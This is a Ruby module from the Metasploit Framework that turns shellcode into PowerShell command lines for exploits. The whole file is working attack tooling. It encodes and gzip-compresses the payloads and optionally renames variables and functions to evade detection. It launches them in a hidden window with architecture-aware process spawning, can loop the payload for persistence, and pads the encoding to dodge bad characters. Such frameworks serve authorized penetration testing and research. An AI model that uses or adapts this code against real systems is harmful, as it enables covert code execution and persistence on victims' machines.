# -*- coding: binary -*-
require 'rex/exploitation/powershell'

module Msf
module Exploit::Powershell
  PowershellScript = Rex::Exploitation::Powershell::Script

  def initialize(info = {})
    super
    register_advanced_options(
      [
        OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
        OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
        OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
        OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
        OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
        OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
        OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
      ], self.class)
  end

  #
  # Return an encoded powershell script
  # Will invoke PSH modifiers as enabled
  #
  # @param script_in [String] Script contents
  #
  # @return [String] Encoded script
  def encode_script(script_in)
    # Build script object
    psh = PowershellScript.new(script_in)
    # Invoke enabled modifiers
    datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
      mod_method = k.split('::').last.intern
      psh.send(mod_method)
    end

    psh.encode_code
  end

  #
  # Return a gzip compressed powershell script
  # Will invoke PSH modifiers as enabled
  #
  # @param script_in [String] Script contents
  # @param eof [String] Marker to indicate the end of file appended to script
  #
  # @return [String] Compressed script with decompression stub
  def compress_script(script_in, eof = nil)
    # Build script object
    psh = PowershellScript.new(script_in)
    # Invoke enabled modifiers
    datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
      mod_method = k.split('::').last.intern
      psh.send(mod_method)
    end

    psh.compress_code(eof)
  end

  #
  # Generate a powershell command line, options are passed on to
  # generate_psh_args
  #
  # @param opts [Hash] The options to generate the command line
  # @option opts [String] :path Path to the powershell binary
  # @option opts [Boolean] :no_full_stop Whether powershell binary
  #   should include .exe
  #
  # @return [String] Powershell command line with arguments
  def generate_psh_command_line(opts)
    if opts[:path] and (opts[:path][-1, 1] != '\\')
      opts[:path] << '\\'
    end

    if opts[:no_full_stop]
      binary = 'powershell'
    else
      binary = 'powershell.exe'
    end

    args = generate_psh_args(opts)

    "#{opts[:path]}#{binary} #{args}"
  end

  #
  # Generate arguments for the powershell command
  # The format will be have no space at the start and have a space
  # afterwards e.g. "-Arg1 x -Arg -Arg x "
  #
  # @param opts [Hash] The options to generate the command line
  # @option opts [Boolean] :shorten Whether to shorten the powershell
  #   arguments (v2.0 or greater)
  # @option opts [String] :encodedcommand Powershell script as an
  #   encoded command (-EncodedCommand)
  # @option opts [String] :executionpolicy The execution policy
  #   (-ExecutionPolicy)
  # @option opts [String] :inputformat The input format (-InputFormat)
  # @option opts [String] :file The path to a powershell file (-File)
  # @option opts [Boolean] :noexit Whether to exit powershell after
  #   execution (-NoExit)
  # @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
  # @option opts [Boolean] :noninteractive Whether to load a non
  #   interactive powershell (-NonInteractive)
  # @option opts [Boolean] :mta Whether to run as Multi-Threaded
  #   Apartment (-Mta)
  # @option opts [String] :outputformat The output format
  #   (-OutputFormat)
  # @option opts [Boolean] :sta Whether to run as Single-Threaded
  #   Apartment (-Sta)
  # @option opts [Boolean] :noprofile Whether to use the current users
  #   powershell profile (-NoProfile)
  # @option opts [String] :windowstyle The window style to use
  #   (-WindowStyle)
  #
  # @return [String] Powershell command arguments
  def generate_psh_args(opts)
    return '' unless opts

    unless opts.key? :shorten
      opts[:shorten] = (datastore['Powershell::method'] != 'old')
    end

    arg_string = ' '
    opts.each_pair do |arg, value|
      case arg
      when :encodedcommand
        arg_string << "-EncodedCommand #{value} " if value
      when :executionpolicy
        arg_string << "-ExecutionPolicy #{value} " if value
      when :inputformat
        arg_string << "-InputFormat #{value} " if value
      when :file
        arg_string << "-File #{value} " if value
      when :noexit
        arg_string << '-NoExit ' if value
      when :nologo
        arg_string << '-NoLogo ' if value
      when :noninteractive
        arg_string << '-NonInteractive ' if value
      when :mta
        arg_string << '-Mta ' if value
      when :outputformat
        arg_string << "-OutputFormat #{value} " if value
      when :sta
        arg_string << '-Sta ' if value
      when :noprofile
        arg_string << '-NoProfile ' if value
      when :windowstyle
        arg_string << "-WindowStyle #{value} " if  value
      end
    end

    # Command must be last (unless from stdin - etc)
    if opts[:command]
      arg_string << "-Command #{opts[:command]}"
    end

    # Shorten arg if PSH 2.0+
    if opts[:shorten]
      # Invoke-Command and Out-File require these options to have
      # an additional space before to prevent Powershell code being
      # mangled.
      arg_string.gsub!(' -Command ', ' -c ')
      arg_string.gsub!('-EncodedCommand ', '-e ')
      arg_string.gsub!('-ExecutionPolicy ', '-ep ')
      arg_string.gsub!(' -File ', ' -f ')
      arg_string.gsub!('-InputFormat ', '-i ')
      arg_string.gsub!('-NoExit ', '-noe ')
      arg_string.gsub!('-NoLogo ', '-nol ')
      arg_string.gsub!('-NoProfile ', '-nop ')
      arg_string.gsub!('-NonInteractive ', '-noni ')
      arg_string.gsub!('-OutputFormat ', '-o ')
      arg_string.gsub!('-Sta ', '-s ')
      arg_string.gsub!('-WindowStyle ', '-w ')
    end

    # Strip off first space character
    arg_string = arg_string[1..-1]
    # Remove final space character
    arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')

    arg_string
  end

  #
  # Wraps the powershell code to launch a hidden window and
  # detect the execution environment and spawn the appropriate
  # powershell executable for the payload architecture.
  #
  # @param ps_code [String] Powershell code
  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
  # @param encoded [Boolean] Indicates whether ps_code is encoded or not
  #
  # @return [String] Wrapped powershell code
  def run_hidden_psh(ps_code, payload_arch, encoded)
    arg_opts = {
      noprofile: true,
      windowstyle: 'hidden',
    }

    if encoded
      arg_opts[:encodedcommand] = ps_code
    else
      arg_opts[:command] = ps_code.gsub("'", "''")
    end

    # Old technique fails if powershell exits..
    arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'

    ps_args = generate_psh_args(arg_opts)

    process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
EOS
    process_start_info.gsub!("\n", ';')

    archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS

    archictecure_detection.gsub!("\n", '')

    archictecure_detection + process_start_info
  end

  #
  # Creates a powershell command line string which will execute the
  # payload in a hidden window in the appropriate execution environment
  # for the payload architecture. Opts are passed through to
  # run_hidden_psh, generate_psh_command_line and generate_psh_args
  #
  # @param pay [String] The payload shellcode
  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
  # @param opts [Hash] The options to generate the command
  # @option opts [Boolean] :persist Loop the payload to cause
  #   re-execution if the shellcode finishes
  # @option opts [Integer] :prepend_sleep Sleep for the specified time
  #   before executing the payload
  # @option opts [String] :method The powershell injection technique to
  #   use: 'net'/'reflection'/'old'
  # @option opts [Boolean] :encode_inner_payload Encodes the powershell
  #   script within the hidden/architecture detection wrapper
  # @option opts [Boolean] :encode_final_payload Encodes the final
  #   powershell script
  # @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
  #   environment variable at the start of the command line
  # @option opts [Boolean] :use_single_quotes Wraps the -Command
  #   argument in single quotes unless :encode_final_payload
  #
  # @return [String] Powershell command line with payload
  def cmd_psh_payload(pay, payload_arch, opts = {})
    opts[:persist] ||= datastore['Powershell::persist']
    opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
    opts[:method] ||= datastore['Powershell::method']

    if opts[:encode_inner_payload] && opts[:encode_final_payload]
      fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
    end

    if opts[:no_equals] && !opts[:encode_final_payload]
      fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
    end

    psh_payload = case opts[:method]
    when 'net'
      Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
    when 'reflection'
      Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
    when 'old'
      Msf::Util::EXE.to_win32pe_psh(framework, pay)
    when 'msil'
      fail RuntimeError, 'MSIL Powershell method no longer exists'
    else
      fail RuntimeError, 'No Powershell method specified'
    end

    # Run our payload in a while loop
    if opts[:persist]
      fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
      sleep_time = rand(5) + 5
      vprint_status("Sleep time set to #{sleep_time} seconds")
      psh_payload  = "function #{fun_name}{#{psh_payload}};"
      psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
    end

    if opts[:prepend_sleep]
      if opts[:prepend_sleep].to_i > 0
        psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
      else
        vprint_error('Sleep time must be greater than 0 seconds')
      end
    end

    compressed_payload = compress_script(psh_payload)
    encoded_payload = encode_script(psh_payload)

    # This branch is probably never taken...
    if encoded_payload.length <= compressed_payload.length
      smallest_payload = encoded_payload
      encoded = true
    else
      if opts[:encode_inner_payload]
        encoded = true
        compressed_encoded_payload = encode_script(compressed_payload)

        if encoded_payload.length <= compressed_encoded_payload.length
          smallest_payload = encoded_payload
        else
          smallest_payload = compressed_encoded_payload
        end
      else
        smallest_payload = compressed_payload
        encoded = false
      end
    end

    # Wrap in hidden runtime / architecture detection
    final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)

    command_args = {
      noprofile: true,
      windowstyle: 'hidden'
    }.merge(opts)

    if opts[:encode_final_payload]
      command_args[:encodedcommand] = encode_script(final_payload)

      # If '=' is a bad character pad the payload until Base64 encoded
      # payload contains none.
      if opts[:no_equals]
        while command_args[:encodedcommand].include? '='
          final_payload << ' '
          command_args[:encodedcommand] = encode_script(final_payload)
        end
      end
    else
      if opts[:use_single_quotes]
        # Escape Single Quotes
        final_payload.gsub!("'", "''")
        # Wrap command in quotes
        final_payload = "'#{final_payload}'"
      end

      command_args[:command] = final_payload
    end

    psh_command = generate_psh_command_line(command_args)

    if opts[:remove_comspec]
      command = psh_command
    else
      command = "%COMSPEC% /b /c start /b /min #{psh_command}"
    end

    vprint_status("Powershell command length: #{command.length}")
    if command.length > 8191
      fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
    end

    command
  end

  #
  # Useful method cache
  #
  module PshMethods
    include Rex::Exploitation::Powershell::PshMethods
  end
end
end
